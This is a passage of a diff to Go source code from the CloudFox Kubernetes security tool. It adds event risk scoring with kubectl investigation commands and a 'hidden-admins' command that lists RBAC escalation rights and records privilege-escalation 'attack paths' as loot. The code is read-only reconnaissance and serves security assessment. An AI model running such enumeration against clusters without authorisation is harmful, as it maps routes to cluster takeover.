} else if stats.SecurityEvents > 0 {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// OOM kills (DoS indicator)
|
||||
if stats.OOMKilled > 5 {
|
||||
score += 30
|
||||
} else if stats.OOMKilled > 0 {
|
||||
score += 15
|
||||
}
|
||||
|
||||
// Admission denials
|
||||
if stats.AdmissionDenials > 10 {
|
||||
score += 25
|
||||
} else if stats.AdmissionDenials > 0 {
|
||||
score += 10
|
||||
}
|
||||
|
||||
// Auth failures
|
||||
if stats.AuthFailures > 0 {
|
||||
score += 30
|
||||
}
|
||||
|
||||
// Failed scheduling
|
||||
if stats.FailedScheduling > 20 {
|
||||
score += 20
|
||||
} else if stats.FailedScheduling > 5 {
|
||||
score += 10
|
||||
}
|
||||
|
||||
// Warning ratio
|
||||
if stats.TotalEvents > 0 {
|
||||
warningRatio := float64(stats.WarningEvents) / float64(stats.TotalEvents)
|
||||
if warningRatio > 0.5 {
|
||||
score += 15
|
||||
} else if warningRatio > 0.25 {
|
||||
score += 5
|
||||
}
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
func eventRiskScoreToLevel(score int) string {
|
||||
if score >= 80 {
|
||||
return shared.RiskCritical
|
||||
} else if score >= 60 {
|
||||
return shared.RiskHigh
|
||||
} else if score >= 30 {
|
||||
return shared.RiskMedium
|
||||
}
|
||||
return shared.RiskLow
|
||||
}
|
||||
|
||||
func identifyTopIssues(stats *EventSummary) []string {
|
||||
var issues []string
|
||||
|
||||
if stats.SecurityEvents > 0 {
|
||||
issues = append(issues, fmt.Sprintf("%d security events", stats.SecurityEvents))
|
||||
}
|
||||
if stats.OOMKilled > 0 {
|
||||
issues = append(issues, fmt.Sprintf("%d OOMKilled", stats.OOMKilled))
|
||||
}
|
||||
if stats.AuthFailures > 0 {
|
||||
issues = append(issues, fmt.Sprintf("%d auth failures", stats.AuthFailures))
|
||||
}
|
||||
if stats.AdmissionDenials > 0 {
|
||||
issues = append(issues, fmt.Sprintf("%d admission denials", stats.AdmissionDenials))
|
||||
}
|
||||
if stats.FailedScheduling > 10 {
|
||||
issues = append(issues, fmt.Sprintf("%d scheduling failures", stats.FailedScheduling))
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func generateEventCommands(summaries []EventSummary) string {
|
||||
var lines []string
|
||||
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "# Event Enumeration Commands")
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# List all events cluster-wide:")
|
||||
lines = append(lines, "kubectl get events -A --sort-by='.lastTimestamp'")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# View events in a specific namespace:")
|
||||
for _, s := range summaries {
|
||||
lines = append(lines, fmt.Sprintf("kubectl get events -n %s --sort-by='.lastTimestamp'", s.Namespace))
|
||||
}
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Filter warning events only:")
|
||||
lines = append(lines, "kubectl get events -A --field-selector type=Warning")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Watch events in real-time:")
|
||||
lines = append(lines, "kubectl get events -A --watch")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Get detailed event output:")
|
||||
lines = append(lines, "kubectl get events -A -o wide")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Filter events by reason:")
|
||||
lines = append(lines, "kubectl get events -A --field-selector reason=FailedScheduling")
|
||||
lines = append(lines, "kubectl get events -A --field-selector reason=OOMKilled")
|
||||
lines = append(lines, "kubectl get events -A --field-selector reason=FailedMount")
|
||||
lines = append(lines, "kubectl get events -A --field-selector reason=BackOff")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Get events for a specific pod:")
|
||||
lines = append(lines, "kubectl get events -n <namespace> --field-selector involvedObject.name=<pod-name>")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# JSON output for parsing:")
|
||||
lines = append(lines, "kubectl get events -A -o json | jq '.items[] | select(.type==\"Warning\")'")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "# Investigation Commands")
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Describe pod to see events and status:")
|
||||
lines = append(lines, "kubectl describe pod <pod-name> -n <namespace>")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Check pod logs for OOMKilled containers:")
|
||||
lines = append(lines, "kubectl logs <pod-name> -n <namespace> --previous")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Check node conditions:")
|
||||
lines = append(lines, "kubectl describe node <node-name> | grep -A 10 Conditions")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Check resource usage:")
|
||||
lines = append(lines, "kubectl top pods -A")
|
||||
lines = append(lines, "kubectl top nodes")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Add namespace-specific commands for high-risk namespaces
|
||||
for _, s := range summaries {
|
||||
if s.RiskScore >= 60 {
|
||||
lines = append(lines, fmt.Sprintf("# High-risk namespace: %s (issues: %v)", s.Namespace, s.TopIssues))
|
||||
lines = append(lines, fmt.Sprintf("kubectl get events -n %s --field-selector type=Warning", s.Namespace))
|
||||
lines = append(lines, fmt.Sprintf("kubectl get pods -n %s -o wide", s.Namespace))
|
||||
lines = append(lines, "")
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func generateEventTable(analyses []EventAnalysis, limit int, showAll bool) internal.TableFile {
|
||||
header := []string{"Namespace", "Kind", "Name", "Reason", "Type", "Count", "Category", "Last Seen", "Message"}
|
||||
var rows [][]string
|
||||
|
||||
// Sort by risk score
|
||||
sort.Slice(analyses, func(i, j int) bool {
|
||||
return analyses[i].RiskScore > analyses[j].RiskScore
|
||||
})
|
||||
|
||||
// Determine how many events to show
|
||||
count := len(analyses)
|
||||
if !showAll && limit > 0 && limit < count {
|
||||
count = limit
|
||||
}
|
||||
|
||||
for i := 0; i < count; i++ {
|
||||
ev := analyses[i]
|
||||
rows = append(rows, []string{
|
||||
ev.Namespace,
|
||||
ev.Kind,
|
||||
ev.Name,
|
||||
ev.Reason,
|
||||
ev.Type,
|
||||
fmt.Sprintf("%d", ev.Count),
|
||||
ev.Category,
|
||||
ev.LastSeen.Format("2006-01-02 15:04"),
|
||||
ev.Message,
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "Events",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
// filterEventsBySearch filters events by a search query (case-insensitive)
|
||||
// Searches across: namespace, object name, reason, message, involved object kind
|
||||
func filterEventsBySearch(events []corev1.Event, query string) []corev1.Event {
|
||||
if query == "" {
|
||||
return events
|
||||
}
|
||||
|
||||
query = strings.ToLower(query)
|
||||
var filtered []corev1.Event
|
||||
|
||||
for _, event := range events {
|
||||
// Check multiple fields for the search query
|
||||
if strings.Contains(strings.ToLower(event.Namespace), query) ||
|
||||
strings.Contains(strings.ToLower(event.InvolvedObject.Name), query) ||
|
||||
strings.Contains(strings.ToLower(event.InvolvedObject.Kind), query) ||
|
||||
strings.Contains(strings.ToLower(event.Reason), query) ||
|
||||
strings.Contains(strings.ToLower(event.Message), query) ||
|
||||
strings.Contains(strings.ToLower(event.Source.Component), query) ||
|
||||
strings.Contains(strings.ToLower(event.Source.Host), query) ||
|
||||
strings.Contains(strings.ToLower(event.Type), query) {
|
||||
filtered = append(filtered, event)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
@@ -0,0 +1,959 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
attackpathservice "github.com/BishopFox/cloudfox/kubernetes/services/attackpathService"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
rbacv1 "k8s.io/api/rbac/v1"
|
||||
)
|
||||
|
||||
var HiddenAdminsCmd = &cobra.Command{
|
||||
Use: "hidden-admins",
|
||||
Short: "Enumerate entities with IAM/RBAC escalation permissions",
|
||||
Long: `
|
||||
Identify hidden administrators with IAM/RBAC escalation capabilities. This includes:
|
||||
- Membership in system:masters group
|
||||
- Cluster-admin or admin role bindings
|
||||
- RBAC modification (create/update Roles, ClusterRoles, RoleBindings, ClusterRoleBindings)
|
||||
- Impersonation rights (users, groups, service accounts)
|
||||
- Certificate approval (CSR approval - create new cluster identities)
|
||||
- RBAC aggregation roles (dynamically expandable permissions)
|
||||
|
||||
For other privilege escalation paths (secrets, pod creation, exec, webhooks, nodes),
|
||||
use the 'privesc' command.
|
||||
|
||||
Outputs detailed findings and attack paths:
|
||||
cloudfox kubernetes hidden-admins`,
|
||||
Run: ListHiddenAdmins,
|
||||
}
|
||||
|
||||
type HiddenAdminFinding struct {
|
||||
Namespace string
|
||||
Entity string
|
||||
EntityType string
|
||||
Scope string
|
||||
DangerousPerms string
|
||||
Source string
|
||||
CloudIAM string // AWS/GCP/Azure IAM role
|
||||
ActivePods int // Number of pods using this SA
|
||||
IsDefault bool // Is this the default SA?
|
||||
IsWildcard bool // Wildcard group binding
|
||||
}
|
||||
|
||||
type AttackPath struct {
|
||||
StartEntity string
|
||||
EntityType string
|
||||
Steps []string
|
||||
EndGoal string
|
||||
Feasibility string // "Immediate", "Requires-Enum", "Complex"
|
||||
}
|
||||
|
||||
type HiddenAdminsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
// Built-in dangerous roles
|
||||
var dangerousBuiltInRoles = map[string]bool{
|
||||
"cluster-admin": true,
|
||||
"admin": true,
|
||||
"edit": true,
|
||||
"system:masters": true,
|
||||
"system:controller:deployment-controller": true,
|
||||
"system:controller:replicaset-controller": true,
|
||||
"system:controller:daemon-set-controller": true,
|
||||
"system:controller:job-controller": true,
|
||||
"system:node": true,
|
||||
"system:node-proxier": true,
|
||||
"system:kube-controller-manager": true,
|
||||
"system:kube-scheduler": true,
|
||||
}
|
||||
|
||||
func (h HiddenAdminsOutput) TableFiles() []internal.TableFile {
|
||||
return h.Table
|
||||
}
|
||||
|
||||
// appendUniqueHA appends a string to a slice only if it doesn't already exist (hidden-admins specific)
|
||||
func appendUniqueHA(slice []string, item string) []string {
|
||||
for _, s := range slice {
|
||||
if s == item {
|
||||
return slice
|
||||
}
|
||||
}
|
||||
return append(slice, item)
|
||||
}
|
||||
|
||||
|
||||
// isIAMRelatedRule checks if a rule grants IAM/RBAC escalation permissions
|
||||
// This is specific to hidden-admins and excludes privesc paths like pod creation, secrets, etc.
|
||||
// Uses the centralized attackpathService for detection.
|
||||
func isIAMRelatedRule(rule rbacv1.PolicyRule) bool {
|
||||
return attackpathservice.IsHiddenAdminRule(rule)
|
||||
}
|
||||
|
||||
// getIAMRiskDescription returns a human-readable description of IAM/RBAC risks
|
||||
// Uses the centralized attackpathService for detection.
|
||||
func getIAMRiskDescription(rule rbacv1.PolicyRule) string {
|
||||
return attackpathservice.GetHiddenAdminRiskDescription(rule)
|
||||
}
|
||||
|
||||
func (h HiddenAdminsOutput) LootFiles() []internal.LootFile {
|
||||
return h.Loot
|
||||
}
|
||||
|
||||
func (h HiddenAdminFinding) ToTableRow() []string {
|
||||
cloudIAM := h.CloudIAM
|
||||
if cloudIAM == "" {
|
||||
cloudIAM = "<NONE>"
|
||||
}
|
||||
|
||||
activePods := fmt.Sprintf("%d", h.ActivePods)
|
||||
if h.ActivePods == 0 && h.EntityType != "ServiceAccount" {
|
||||
activePods = "N/A"
|
||||
}
|
||||
|
||||
flags := ""
|
||||
if h.IsDefault {
|
||||
flags = "DEFAULT-SA"
|
||||
}
|
||||
if h.IsWildcard {
|
||||
if flags != "" {
|
||||
flags += ", "
|
||||
}
|
||||
flags += "WILDCARD"
|
||||
}
|
||||
if flags == "" {
|
||||
flags = "-"
|
||||
}
|
||||
|
||||
return []string{
|
||||
h.Namespace,
|
||||
h.Entity,
|
||||
h.EntityType,
|
||||
h.Scope,
|
||||
h.DangerousPerms,
|
||||
cloudIAM,
|
||||
activePods,
|
||||
flags,
|
||||
h.Source,
|
||||
}
|
||||
}
|
||||
|
||||
func (h HiddenAdminFinding) Loot() string {
|
||||
return fmt.Sprintf(
|
||||
"[Hidden Admin Detection]\nNamespace: %s\nEntity: %s (%s)\nScope: %s\nSource: %s\nDangerous Permissions: %s\n",
|
||||
h.Namespace,
|
||||
h.Entity,
|
||||
h.EntityType,
|
||||
h.Scope,
|
||||
h.Source,
|
||||
h.DangerousPerms,
|
||||
)
|
||||
}
|
||||
|
||||
func ListHiddenAdmins(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating hidden admin permissions for %s", globals.ClusterName), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Use centralized attackpathService for hidden admin analysis
|
||||
attackPathSvc := attackpathservice.NewWithClientset(clientset)
|
||||
attackPathSvc.SetModuleName(globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
|
||||
hiddenAdminData, err := attackPathSvc.AnalyzeHiddenAdmins(ctx)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error analyzing hidden admins: %v", err), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
headers := []string{"Namespace", "Entity", "Type", "Scope", "Dangerous Permissions", "Cloud IAM", "Active Pods", "Flags", "Source"}
|
||||
var tableRows [][]string
|
||||
|
||||
// Loot builder
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
// Track entities by IAM/RBAC permission type (focused on identity/access control)
|
||||
type PermissionTracking struct {
|
||||
ClusterAdmin []string // Bound to cluster-admin or system:masters
|
||||
RBACModification []string // Can create/update roles/bindings
|
||||
Impersonation []string // Can impersonate users/groups/SAs
|
||||
CertificateApproval []string // Can approve CSRs (create new identities)
|
||||
AggregationRoles []string // Uses RBAC aggregation
|
||||
}
|
||||
permTracking := &PermissionTracking{}
|
||||
|
||||
// Also track legacy attack paths for backwards compatibility
|
||||
var attackPaths []AttackPath
|
||||
|
||||
// Query all ServiceAccounts to detect cloud IAM annotations using cache
|
||||
serviceAccountCloudIAM := make(map[string]map[string]string) // namespace -> sa name -> cloud IAM
|
||||
serviceAccountPodCount := make(map[string]map[string]int) // namespace -> sa name -> pod count
|
||||
serviceAccountAutoMount := make(map[string]map[string]*bool) // namespace -> sa name -> AutomountServiceAccountToken
|
||||
|
||||
logger.InfoM("Scanning ServiceAccounts for cloud IAM annotations...", globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
serviceAccounts, err := sdk.GetServiceAccounts(ctx, clientset)
|
||||
if err == nil {
|
||||
for _, sa := range serviceAccounts {
|
||||
if serviceAccountCloudIAM[sa.Namespace] == nil {
|
||||
serviceAccountCloudIAM[sa.Namespace] = make(map[string]string)
|
||||
}
|
||||
if serviceAccountPodCount[sa.Namespace] == nil {
|
||||
serviceAccountPodCount[sa.Namespace] = make(map[string]int)
|
||||
}
|
||||
if serviceAccountAutoMount[sa.Namespace] == nil {
|
||||
serviceAccountAutoMount[sa.Namespace] = make(map[string]*bool)
|
||||
}
|
||||
serviceAccountAutoMount[sa.Namespace][sa.Name] = sa.AutomountServiceAccountToken
|
||||
|
||||
// Check for AWS IRSA (IAM Roles for ServiceAccounts)
|
||||
if roleARN, ok := sa.Annotations["eks.amazonaws.com/role-arn"]; ok {
|
||||
serviceAccountCloudIAM[sa.Namespace][sa.Name] = fmt.Sprintf("AWS: %s", roleARN)
|
||||
}
|
||||
|
||||
// Check for GCP Workload Identity
|
||||
if gcpSA, ok := sa.Annotations["iam.gke.io/gcp-service-account"]; ok {
|
||||
serviceAccountCloudIAM[sa.Namespace][sa.Name] = fmt.Sprintf("GCP: %s", gcpSA)
|
||||
}
|
||||
|
||||
// Check for Azure Pod Identity
|
||||
if azureID, ok := sa.Annotations["azure.workload.identity/client-id"]; ok {
|
||||
serviceAccountCloudIAM[sa.Namespace][sa.Name] = fmt.Sprintf("Azure: %s", azureID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Count active pods per ServiceAccount using cache
|
||||
logger.InfoM("Counting active pods per ServiceAccount...", globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
allPods, err := sdk.GetPods(ctx, clientset)
|
||||
if err == nil {
|
||||
for _, pod := range allPods {
|
||||
saName := pod.Spec.ServiceAccountName
|
||||
if saName == "" {
|
||||
saName = "default"
|
||||
}
|
||||
if serviceAccountPodCount[pod.Namespace] == nil {
|
||||
serviceAccountPodCount[pod.Namespace] = make(map[string]int)
|
||||
}
|
||||
serviceAccountPodCount[pod.Namespace][saName]++
|
||||
}
|
||||
}
|
||||
|
||||
// Fetch all Nodes once (cached) for SELinux/MAC detection
|
||||
allNodes, err := sdk.GetNodes(ctx, clientset)
|
||||
if err != nil {
|
||||
allNodes = []corev1.Node{}
|
||||
}
|
||||
nodeSELinux := buildNodeSELinuxMap(allNodes)
|
||||
|
||||
// ClusterRoles using cache
|
||||
clusterRoles, err := sdk.GetClusterRoles(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching ClusterRoles: %v", err), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Map of ClusterRole name -> dangerous permissions findings
|
||||
dangerousClusterRoles := make(map[string][]string)
|
||||
|
||||
for _, role := range clusterRoles {
|
||||
var findings []string
|
||||
|
||||
// Check if this is a built-in dangerous role
|
||||
if _, isBuiltInDangerous := dangerousBuiltInRoles[role.Name]; isBuiltInDangerous {
|
||||
findings = append(findings, fmt.Sprintf("Built-in dangerous role: %s", role.Name))
|
||||
}
|
||||
|
||||
if role.Name == "cluster-admin" {
|
||||
findings = append(findings, "cluster-admin role (full cluster control)")
|
||||
permTracking.ClusterAdmin = append(permTracking.ClusterAdmin, fmt.Sprintf("ClusterRole/%s", role.Name))
|
||||
}
|
||||
if strings.Contains(role.Name, "system:masters") {
|
||||
findings = append(findings, "member of system:masters group")
|
||||
permTracking.ClusterAdmin = append(permTracking.ClusterAdmin, fmt.Sprintf("ClusterRole/%s", role.Name))
|
||||
}
|
||||
if role.AggregationRule != nil && role.AggregationRule.ClusterRoleSelectors != nil && len(role.AggregationRule.ClusterRoleSelectors) > 0 {
|
||||
findings = append(findings, "RBAC Aggregation role")
|
||||
permTracking.AggregationRoles = appendUniqueHA(permTracking.AggregationRoles, fmt.Sprintf("ClusterRole/%s", role.Name))
|
||||
}
|
||||
if role.Rules != nil {
|
||||
for _, rule := range role.Rules {
|
||||
// Only check for IAM/RBAC related rules, not privesc paths
|
||||
if isIAMRelatedRule(rule) {
|
||||
riskDesc := getIAMRiskDescription(rule)
|
||||
if riskDesc != "" {
|
||||
findings = append(findings, riskDesc)
|
||||
}
|
||||
|
||||
// Track IAM/RBAC-related permissions
|
||||
entityRef := fmt.Sprintf("ClusterRole/%s", role.Name)
|
||||
for _, res := range rule.Resources {
|
||||
resLower := strings.ToLower(res)
|
||||
for _, verb := range rule.Verbs {
|
||||
verbLower := strings.ToLower(verb)
|
||||
// RBAC modification
|
||||
if strings.Contains(resLower, "role") || strings.Contains(resLower, "rolebinding") || strings.Contains(resLower, "clusterrole") {
|
||||
if verbLower == "create" || verbLower == "update" || verbLower == "patch" || verbLower == "*" || verbLower == "bind" || verbLower == "escalate" {
|
||||
permTracking.RBACModification = appendUniqueHA(permTracking.RBACModification, entityRef)
|
||||
}
|
||||
}
|
||||
// Certificate approval (identity creation)
|
||||
if strings.Contains(resLower, "certificatesigningrequests") {
|
||||
if verbLower == "create" || verbLower == "update" || verbLower == "approve" || verbLower == "*" {
|
||||
permTracking.CertificateApproval = appendUniqueHA(permTracking.CertificateApproval, entityRef)
|
||||
}
|
||||
}
|
||||
}
|
||||
// Impersonation
|
||||
for _, verb := range rule.Verbs {
|
||||
if strings.ToLower(verb) == "impersonate" {
|
||||
permTracking.Impersonation = appendUniqueHA(permTracking.Impersonation, entityRef)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(findings) > 0 {
|
||||
// Store findings for lookup when processing bindings
|
||||
dangerousClusterRoles[role.Name] = findings
|
||||
|
||||
row := HiddenAdminFinding{
|
||||
Namespace: "<cluster>",
|
||||
Entity: role.Name,
|
||||
EntityType: "ClusterRole",
|
||||
Scope: "cluster",
|
||||
DangerousPerms: strings.Join(findings, "; "),
|
||||
Source: "ClusterRole definition",
|
||||
}
|
||||
tableRows = append(tableRows, row.ToTableRow())
|
||||
}
|
||||
}
|
||||
|
||||
// ClusterRoleBindings using cache
|
||||
crbs, err := sdk.GetClusterRoleBindings(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching ClusterRoleBindings: %v", err), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
for _, binding := range crbs {
|
||||
if binding.Subjects != nil {
|
||||
for _, subject := range binding.Subjects {
|
||||
ns := subject.Namespace
|
||||
if ns == "" {
|
||||
ns = "<cluster>"
|
||||
}
|
||||
role := binding.RoleRef.Name
|
||||
isWildcard := false
|
||||
isDefault := false
|
||||
cloudIAM := ""
|
||||
activePods := 0
|
||||
isDangerous := false
|
||||
|
||||
// Detect wildcard group bindings
|
||||
if subject.Kind == "Group" {
|
||||
if subject.Name == "system:serviceaccounts" {
|
||||
isWildcard = true
|
||||
isDangerous = true
|
||||
// Create attack path for wildcard binding
|
||||
attackPaths = append(attackPaths, AttackPath{
|
||||
StartEntity: "system:serviceaccounts (ALL ServiceAccounts)",
|
||||
EntityType: "Group",
|
||||
Steps: []string{
|
||||
"ANY ServiceAccount in ANY namespace can authenticate",
|
||||
fmt.Sprintf("Bound to ClusterRole: %s", role),
|
||||
"Full cluster-wide access through group membership",
|
||||
},
|
||||
EndGoal: "Cluster-wide privilege escalation via any ServiceAccount",
|
||||
Feasibility: "Immediate",
|
||||
})
|
||||
} else if strings.HasPrefix(subject.Name, "system:serviceaccounts:") {
|
||||
isWildcard = true
|
||||
isDangerous = true
|
||||
wildcardNS := strings.TrimPrefix(subject.Name, "system:serviceaccounts:")
|
||||
// Create attack path for namespace wildcard binding
|
||||
attackPaths = append(attackPaths, AttackPath{
|
||||
StartEntity: fmt.Sprintf("system:serviceaccounts:%s (ALL SAs in %s)", wildcardNS, wildcardNS),
|
||||
EntityType: "Group",
|
||||
Steps: []string{
|
||||
fmt.Sprintf("ANY ServiceAccount in namespace '%s' can authenticate", wildcardNS),
|
||||
fmt.Sprintf("Bound to ClusterRole: %s", role),
|
||||
"Namespace-wide access to cluster-level permissions",
|
||||
},
|
||||
EndGoal: fmt.Sprintf("Privilege escalation via any ServiceAccount in %s", wildcardNS),
|
||||
Feasibility: "Immediate",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Detect default ServiceAccount elevations
|
||||
if subject.Kind == "ServiceAccount" && subject.Name == "default" {
|
||||
isDefault = true
|
||||
isDangerous = true
|
||||
// Create attack path for default SA elevation
|
||||
attackPaths = append(attackPaths, AttackPath{
|
||||
StartEntity: fmt.Sprintf("default ServiceAccount (%s)", ns),
|
||||
EntityType: "ServiceAccount",
|
||||
Steps: []string{
|
||||
"Default ServiceAccount has elevated permissions",
|
||||
fmt.Sprintf("Bound to ClusterRole: %s", role),
|
||||
"All pods without explicit SA use this account",
|
||||
},
|
||||
EndGoal: "Privilege escalation through implicit ServiceAccount",
|
||||
Feasibility: "Immediate",
|
||||
})
|
||||
}
|
||||
|
||||
// Get cloud IAM and pod count for ServiceAccounts
|
||||
if subject.Kind == "ServiceAccount" && ns != "<cluster>" {
|
||||
if saCloudIAM, ok := serviceAccountCloudIAM[ns][subject.Name]; ok {
|
||||
cloudIAM = saCloudIAM
|
||||
// Create attack path for cloud IAM crosswalk
|
||||
attackPaths = append(attackPaths, AttackPath{
|
||||
StartEntity: fmt.Sprintf("%s/%s", ns, subject.Name),
|
||||
EntityType: "ServiceAccount",
|
||||
Steps: []string{
|
||||
fmt.Sprintf("K8s: Bound to ClusterRole %s", role),
|
||||
fmt.Sprintf("Cloud: %s", cloudIAM),
|
||||
"Compromise pod → K8s cluster access + Cloud IAM access",
|
||||
},
|
||||
EndGoal: "Multi-cloud privilege escalation (K8s + Cloud Provider)",
|
||||
Feasibility: "Requires-Enum",
|
||||
})
|
||||
}
|
||||
if podCount, ok := serviceAccountPodCount[ns][subject.Name]; ok {
|
||||
activePods = podCount
|
||||
}
|
||||
}
|
||||
|
||||
// Check built-in dangerous roles
|
||||
if _, isDangerousRole := dangerousBuiltInRoles[role]; isDangerousRole {
|
||||
isDangerous = true
|
||||
}
|
||||
|
||||
if role == "cluster-admin" || role == "system:masters" || role == "admin" || role == "edit" {
|
||||
isDangerous = true
|
||||
}
|
||||
|
||||
if isDangerous {
|
||||
// Track entity with their bound role for playbook
|
||||
entityRef := fmt.Sprintf("%s:%s/%s", subject.Kind, ns, subject.Name)
|
||||
if role == "cluster-admin" || role == "system:masters" {
|
||||
permTracking.ClusterAdmin = appendUniqueHA(permTracking.ClusterAdmin, entityRef)
|
||||
}
|
||||
if role == "admin" || role == "edit" {
|
||||
permTracking.RBACModification = appendUniqueHA(permTracking.RBACModification, entityRef)
|
||||
}
|
||||
|
||||
// Get actual dangerous permissions from the ClusterRole
|
||||
dangerousPerms := fmt.Sprintf("bound to ClusterRole %s", role)
|
||||
if roleFindings, ok := dangerousClusterRoles[role]; ok {
|
||||
dangerousPerms = strings.Join(roleFindings, "; ")
|
||||
}
|
||||
|
||||
row := HiddenAdminFinding{
|
||||
Namespace: ns,
|
||||
Entity: subject.Name,
|
||||
EntityType: subject.Kind,
|
||||
Scope: "cluster",
|
||||
DangerousPerms: dangerousPerms,
|
||||
Source: fmt.Sprintf("ClusterRoleBinding %s", binding.Name),
|
||||
CloudIAM: cloudIAM,
|
||||
ActivePods: activePods,
|
||||
IsDefault: isDefault,
|
||||
IsWildcard: isWildcard,
|
||||
}
|
||||
tableRows = append(tableRows, row.ToTableRow())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Roles & RoleBindings using cache
|
||||
allRoles, err := sdk.GetRoles(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching Roles: %v", err), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
|
||||
allRoleBindings, err := sdk.GetRoleBindings(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching RoleBindings: %v", err), globals.K8S_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Process roles grouped by namespace
|
||||
dangerousRolesInNS := make(map[string]map[string][]string) // namespace -> roleName -> []findings
|
||||
for _, role := range allRoles {
|
||||
ns := role.Namespace
|
||||
if dangerousRolesInNS[ns] == nil {
|
||||
dangerousRolesInNS[ns] = make(map[string][]string)
|
||||
}
|
||||
|
||||
var findings []string
|
||||
|
||||
if role.Rules != nil {
|
||||
for _, rule := range role.Rules {
|
||||
// Only check for IAM/RBAC related rules, not privesc paths
|
||||
if isIAMRelatedRule(rule) {
|
||||
riskDesc := getIAMRiskDescription(rule)
|
||||
if riskDesc != "" {
|
||||
findings = append(findings, riskDesc)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(findings) > 0 {
|
||||
dangerousRolesInNS[ns][role.Name] = findings
|
||||
row := HiddenAdminFinding{
|
||||
Namespace: ns,
|
||||
Entity: role.Name,
|
||||
EntityType: "Role",
|
||||
Scope: "namespace",
|
||||
DangerousPerms: strings.Join(findings, "; "),
|
||||
Source: fmt.Sprintf("Role definition (%s)", role.Name),
|
||||
}
|
||||
tableRows = append(tableRows, row.ToTableRow())
|
||||
}
|
||||
}
|
||||
|
||||
// Process RoleBindings
|
||||
for _, binding := range allRoleBindings {
|
||||
ns := binding.Namespace
|
||||
if binding.Subjects != nil {
|
||||
// Check if the role being bound is dangerous
|
||||
roleName := binding.RoleRef.Name
|
||||
var isDangerousBinding bool
|
||||
var bindingPerms string
|
||||
|
||||
// Check if it's a dangerous namespaced role
|
||||
if dangerousRolesInNS[ns] != nil {
|
||||
if findings, ok := dangerousRolesInNS[ns][roleName]; ok {
|
||||
isDangerousBinding = true
|
||||
bindingPerms = fmt.Sprintf("bound to Role %s with: %s", roleName, strings.Join(findings, "; "))
|
||||
}
|
||||
}
|
||||
|
||||
// Check if it's binding to a ClusterRole (which might be cluster-admin or other dangerous ClusterRole)
|
||||
if binding.RoleRef.Kind == "ClusterRole" {
|
||||
